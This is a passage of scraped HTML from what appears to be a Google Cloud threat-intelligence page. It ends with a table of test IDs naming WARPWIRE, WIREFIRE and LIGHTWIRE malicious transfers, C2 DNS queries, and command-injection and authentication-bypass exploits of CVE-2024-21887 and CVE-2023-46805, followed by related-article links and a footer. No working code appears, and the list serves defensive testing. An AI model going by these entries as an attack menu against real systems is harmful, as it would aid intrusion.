#000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - WARPWIRE, Download, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-944\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCommand and Control - WARPWIRE, DNS Query, Variant #2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-945\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - WARPWIRE, Download, Variant #2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-946\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-947\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - LIGHTWIRE, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-934\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eApplication Vulnerability - CVE-2024-21887, Command Injection, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-935\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eApplication Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-936\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eApplication Vulnerability - CVE-2024-21887, Command Injection, Variant #2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e"]]]],[["Threat Intelligence","Bridging the Gap: Elevating Red Team Assessments with Application Security Testing","Red team and targeted external assessments should incorporate application security expertise to better simulate modern adversaries.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,13,null,"https://cloud.google.com/blog/topics/threat-intelligence/red-team-application-security-testing",null,1,[["Mandiant "]],null,"55679"],["Threat Intelligence","(QR) Coding My Way Out of Here: C2 in Browser Isolation Environments","A technique to circumvent all types of browser isolation for the purpose of controlling a malicious implant via command and control.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,8,null,"https://cloud.google.com/blog/topics/threat-intelligence/c2-browser-isolation-environments",null,1,[["Mandiant "]],null,"55664"],["Threat Intelligence","Seeing Through a GLASSBRIDGE: Understanding the Digital Marketing Ecosystem Spreading Pro-PRC Influence Operations","GLASSBRIDGE is an umbrella group of four different companies that operate networks of inauthentic news sites and newswire services.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,13,null,"https://cloud.google.com/blog/topics/threat-intelligence/glassbridge-pro-prc-influence-operations",null,1,[["Google Threat Intelligence Group "]],null,"55620"],["Threat Intelligence","Empowering Gemini for Malware Analysis with Code Interpreter and Google Threat Intelligence","When used for malware analysis, Gemini now has capabilities to address obfuscation, and obtain insights on IOCs.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,6,null,"https://cloud.google.com/blog/topics/threat-intelligence/gemini-malware-analysis-code-interpreter-threat-intelligence",null,1,[["Bernardo Quintero"],["Andr\u00e9s Ram\u00edrez"]],null,"55597"]],null,"Threat Intelligence",null,[["Threat Intelligence","https://cloud.google.com/blog/topics/threat-intelligence","threat-intelligence"]],null,null,39], sideChannel: {}});</script><script id="wiz_jd" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">if (window['_wjdc']) {const wjd = {}; window['_wjdc'](wjd); delete window['_wjdc'];}</script><script aria-hidden="true" id="WIZ-footer" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">window.wiz_progress&&window.wiz_progress(); window.stopScanForCss&&window.stopScanForCss(); ccTick('bl');</script></body></html><footer id="ZCHFDb"><footer class="nRhiJb-RWrDld nRhiJb-yePe5c QJnbF" jscontroller="NsSboe" track-metadata-module="footer"><h3 class="nRhiJb-VqCwd-L6cTce">Footer Links</h3><section class="nRhiJb-haF9Wb r2W5Od"><section class="nRhiJb-DX2B6"><div class="nRhiJb-j5y3u"><h4 class="nRhiJb-BkAck nRhiJb-BkAck-OWXEXe-TzA9Ye">Follow us</h4><ul class="nRhiJb-Qijihe c3Uqdd" role="list"><li class="nRhiJb-KKXgde"><a class="nRhiJb-ARYxNe" href="https://www.x.com/googlecloud" target="_blank" rel="noopener" track-name="x"track-type="social link"track-metadata-position="footer"track-metadata-eventdetail="www.x.com/googlecloud"track-metadata-module="footer"track-metadata-module_headline="follow us"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c nRhiJb-Bz112c-OWXEXe-DX2B6" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M13.9,10.5L21.1,2h-1.7l-6.3,7.4L8,2H2.2l7.6,11.1L2.2,22h1.7l6.7-7.8L16,22h5.8L13.9,10.5L13.9,10.5z M11.5,13.2l-0.8-1.1 L4.6,3.3h2.7l5,7.1l0.8,1.1l6.5,9.2h-2.7L11.5,13.2L11.5,13.2z"></path></svg></a></li><li class="nRhiJb-KKXgde"><a class="nRhiJb-ARYxNe" href="https://www.youtube.com/googlecloud" target="_blank" rel="noopener" track-name="youtube"track-type="social link"track-metadata-position="footer"track-metadata-eventdetail="www.youtube.com/googlecloud"track-metadata-module="footer"track-metadata-module_headline="follow us"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c nRhiJb-Bz112c-OWXEXe-DX2B6" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M23.74 7.1s-.23-1.65-.95-2.37c-.91-.96-1.93-.96-2.4-1.02C17.04 3.47 12 3.5 12 3.5s-5.02-.03-8.37.21c-.46.06-1.48.06-2.39 1.02C.52 5.45.28 7.1.28 7.1S.04 9.05 0 10.98V13c.04 1.94.28 3.87.28 3.87s.24 1.65.96 2.38c.91.95 2.1.92 2.64 1.02 1.88.18 7.91.22 8.12.22 0 0 5.05.01 8.4-.23.46-.06 1.48-.06 2.39-1.02.72-.72.96-2.37.96-2.37s.24-1.94.25-3.87v-2.02c-.02-1.93-.26-3.88-.26-3.88zM9.57 15.5V8.49L16 12.13 9.57 15.5z"></path></svg></a></li><li class="nRhiJb-KKXgde"><a class="nRhiJb-ARYxNe" href="https://www.linkedin.com/showcase/google-cloud" target="_blank" rel="noopener" track-name="linkedin"track-type="social link"track-metadata-position="footer"track-metadata-eventdetail="www.linkedin.com/showcase/google-cloud"track-metadata-module="footer"track-metadata-module_headline="follow us"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c nRhiJb-Bz112c-OWXEXe-DX2B6" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M20 2H4c-1.1 0-1.99.9-1.99 2L2 20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zM8 19H5v-9h3v9zM6.5 8.31c-1 0-1.81-.81-1.81-1.81S5.5 4.69 6.5 4.69s1.81.81 1.81 1.81S7.5 8.31 6.5 8.31zM19 19h-3v-5.3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V19h-3v-9h3v1.2c.52-.84 1.59-1.4 2.5-1.4 1.93 0 3.5 1.57 3.5 3.5V19z"></path></svg></a></li><li class="nRhiJb-KKXgde"><a class="nRhiJb-ARYxNe" href="https://www.instagram.com/googlecloud/" target="_blank" rel="noopener" track-name="instagram"track-type="social link"track-metadata-position="footer"track-metadata-eventdetail="www.instagram.com/googlecloud/"track-metadata-module="footer"track-metadata-module_headline="follow us"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c nRhiJb-Bz112c-OWXEXe-DX2B6" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M12,0 C15.3,0 15.7,0 17,0 C18.3,0.1 19.1,0.3 19.9,0.6 C20.7,0.9 21.3,1.3 22,2 C22.7,2.7 23.1,3.4 23.3,4.2 C23.6,5 23.8,5.8 23.9,7.1 C24,8.3 24,8.7 24,12 C24,15.3 24,15.7 23.9,16.9 C23.8,18.2 23.6,19 23.3,19.8 C23,20.6 22.6,21.2 21.9,21.9 C21.3,22.6 20.6,23 19.8,23.3 C19,23.6 18.2,23.8 16.9,23.9 C15.7,24 15.3,24 12,24 C8.7,24 8.3,24 7,24 C5.7,23.9 4.9,23.7 4.1,23.4 C3.3,23.1 2.7,22.7 2,22 C1.3,21.3 0.9,20.6 0.7,19.8 C0.4,19 0.2,18.2 0.1,16.9 C0,15.7 0,15.3 0,12 C0,8.7 0,8.3 0.1,7.1 C0.1,5.8 0.3,4.9 0.6,4.1 C0.9,3.4 1.3,2.7 2,2 C2.7,1.3 3.4,0.9 4.1,0.6 C4.9,0.3 5.8,0.1 7.1,0.1 C8.3,0 8.7,0 12,0 Z M12,2.2 C8.8,2.2 8.4,2.2 7.2,2.2 C6,2.3 5.3,2.5 4.9,2.6 C4.4,2.9 4,3.1 3.5,3.5 C3.1,3.9 2.8,4.3 2.6,4.9 C2.5,5.3 2.3,6 2.3,7.2 C2.2,8.4 2.2,8.8 2.2,12 C2.2,15.2 2.2,15.5 2.3,16.8 C2.3,17.9 2.5,18.6 2.7,19 C2.9,19.6 3.2,20 3.6,20.4 C4,20.8 4.4,21.1 5,21.3 C5.4,21.5 6,21.6 7.2,21.7 C8.4,21.8 8.8,21.8 12,21.8 C15.2,21.8 15.5,21.8 16.8,21.7 C17.9,21.7 18.6,21.5 19,21.3 C19.6,21.1 20,20.8 20.4,20.4 C20.8,20 21.1,19.6 21.3,19 C21.5,18.6 21.6,18 21.7,16.8 C21.8,15.6 21.8,15.2 21.8,12 C21.8,8.8 21.8,8.5 21.7,7.2 C21.7,6.1 21.5,5.4 21.3,5 C21.1,4.4 20.8,4 20.4,3.6 C20,3.2 19.6,2.9 19,2.7 C18.6,2.5 18,2.4 16.8,2.3 C15.6,2.2 15.2,2.2 12,2.2 Z M12,5.8 C15.4,5.8 18.2,8.6 18.2,12 C18.2,15.4 15.4,18.2 12,18.2 C8.6,18.2 5.8,15.4 5.8,12 C5.8,8.6 8.6,5.8 12,5.8 Z M12,16 C14.2,16 16,14.2 16,12 C16,9.8 14.2,8 12,8 C9.8,8 8,9.8 8,12 C8,14.2 9.8,16 12,16 Z M18.4,7 C17.6268014,7 17,6.37319865 17,5.6 C17,4.82680135 17.6268014,4.2 18.4,4.2 C19.1731986,4.2 19.8,4.82680135 19.8,5.6 C19.8,6.37319865 19.1731986,7 18.4,7 Z"></path></svg></a></li><li class="nRhiJb-KKXgde"><a class="nRhiJb-ARYxNe" href="https://www.facebook.com/googlecloud/" target="_blank" rel="noopener" track-name="facebook"track-type="social link"track-metadata-position="footer"track-metadata-eventdetail="www.facebook.com/googlecloud/"track-metadata-module="footer"track-metadata-module_headline="follow us"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c nRhiJb-Bz112c-OWXEXe-DX2B6" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M20 2H4c-1.1 0-1.99.9-1.99 2L2 20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-1 2v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v7h-3v-7h-2v-3h2V7.5C13 5.57 14.57 4 16.5 4H19z"></path></svg></a></li></ul></div></section></section><section class="nRhiJb-hlZHHf rtKYfe"><div class="nRhiJb-vQnuyc UXgbsb"><a class="ZOs9zc" href="https://cloud.google.com/" title="Google Cloud" track-name="google"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="cloud.google.com/"track-metadata-module="footer"><svg class="nRhiJb-vQnuyc-RJLb9c" viewBox="0 0 64 64" role="presentation" aria-hidden="true" width="40" height="40"><path d="M40.37 20.29L42.3333 20.3267L47.67 14.99L47.93 12.73C43.69 8.95667 38.11 6.66 32 6.66C20.9367 6.66 11.6067 14.1833 8.84 24.3833C9.42334 23.98 10.6667 24.28 10.6667 24.28L21.3333 22.5267C21.3333 22.5267 21.8867 21.62 22.1567 21.6767C24.5967 19.0067 28.1067 17.3267 32 17.3267C35.1667 17.3267 38.08 18.44 40.37 20.29Z" fill="#ea4335"/><path d="M55.1667 24.3967C53.93 19.8233 51.37 15.79 47.9267 12.7267L40.3667 20.2867C43.3933 22.7333 45.3333 26.4733 45.3333 30.66V31.9933C49.01 31.9933 52 34.9833 52 38.66C52 42.3367 49.01 45.3267 45.3333 45.3267H32L30.6667 46.6667V54.6667L32 55.9933H45.3333C54.89 55.9933 62.6667 48.2167 62.6667 38.66C62.6667 32.75 59.6933 27.5267 55.1667 24.3967Z" fill="#4285f4"/><path d="M18.6667 55.9933H31.99V45.3267H18.6667C17.6867 45.3267 16.76 45.11 15.92 44.7267L14 45.3167L8.66 50.6567L8.19334 52.46C11.1033 54.6733 14.7333 55.9933 18.6667 55.9933Z" fill="#34a853"/><path d="M18.6667 21.3267C9.11 21.3267 1.33334 29.1033 1.33334 38.66C1.33334 44.2867 4.03 49.2967 8.2 52.4633L15.93 44.7333C13.6167 43.6867 12 41.36 12 38.66C12 34.9833 14.99 31.9933 18.6667 31.9933C21.3667 31.9933 23.6933 33.61 24.74 35.9233L32.47 28.1933C29.3033 24.0233 24.2933 21.3267 18.6667 21.3267Z" fill="#fbbc05"/></svg></a></div><ul class="nRhiJb-hlZHHf-PLDbbf nRhiJb-di8rgd-ZGNLv AXb5J" role="list"><li class="glue-footer__global-links-list-item"><a class="nRhiJb-Fx4vi " href="https://cloud.google.com/" track-name="google cloud"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="cloud.google.com/"track-metadata-module="footer">Google Cloud</a></li><li class="glue-footer__global-links-list-item"><a class="nRhiJb-Fx4vi " href="https://cloud.google.com/products/" track-name="google cloud products"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="cloud.google.com/products/"track-metadata-module="footer">Google Cloud Products</a></li><li class="glue-footer__global-links-list-item"><a class="nRhiJb-Fx4vi " href="https://myaccount.google.com/privacypolicy?hl=en-US" target="_blank" track-name="privacy"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="myaccount.google.com/privacypolicy?hl=en-US"track-metadata-module="footer">Privacy</a></li><li class="glue-footer__global-links-list-item"><a class="nRhiJb-Fx4vi " href="https://myaccount.google.com/termsofservice?hl=en-US" target="_blank" track-name="terms"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="myaccount.google.com/termsofservice?hl=en-US"track-metadata-module="footer">Terms</a></li><li aria-hidden="true" class="glue-footer__global-links-list-item"><a aria-hidden="true" role="button" tabindex="0" class="nRhiJb-Fx4vi glue-footer__link glue-cookie-notification-bar-control" href="#" target="_blank" track-name="cookies management controls"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="#"track-metadata-module="footer">Cookies management controls</a></li></ul><ul class="nRhiJb-hlZHHf-PLDbbf nRhiJb-hlZHHf-PLDbbf-OWXEXe-hOedQd nRhiJb-di8rgd-ZGNLv qkxr1" role="list"><li class="glue-footer__global-links-list-item nRhiJb-hlZHHf-PLDbbf-rymPhb-ibnC6b-OWXEXe-hOedQd"><a class="nRhiJb-Fx4vi" href="https://support.google.com" target="_blank" track-name="help"track-type="footer link"track-metadata-position="footer"track-metadata-eventdetail="support.google.com"track-metadata-module="footer"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c nRhiJb-Bz112c-OWXEXe-yePe5c-h9d3hd" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92C13.45 12.9 13 13.5 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.37-.36.59-.86.59-1.41 0-1.1-.9-2-2-2s-2 .9-2 2H8c0-2.21 1.79-4 4-4s4 1.79 4 4c0 .88-.36 1.68-.93 2.25z"></path></svg>Help</a></li><li class="glue-footer__global-links-list-item nRhiJb-hlZHHf-PLDbbf-rymPhb-ibnC6b-OWXEXe-hOedQd"><select jsaction="change:xU0iy" aria-label="Change language" class="nRhiJb-CL4aqd-j4gsHd"><option value="" selected disabled hidden>Language</option><option value="en" selected>English</option><option value="de">Deutsch</option><option value="fr">Français</option><option value="ko">한국어</option><option value="ja">日本語</option></select></li></ul></section></footer></footer>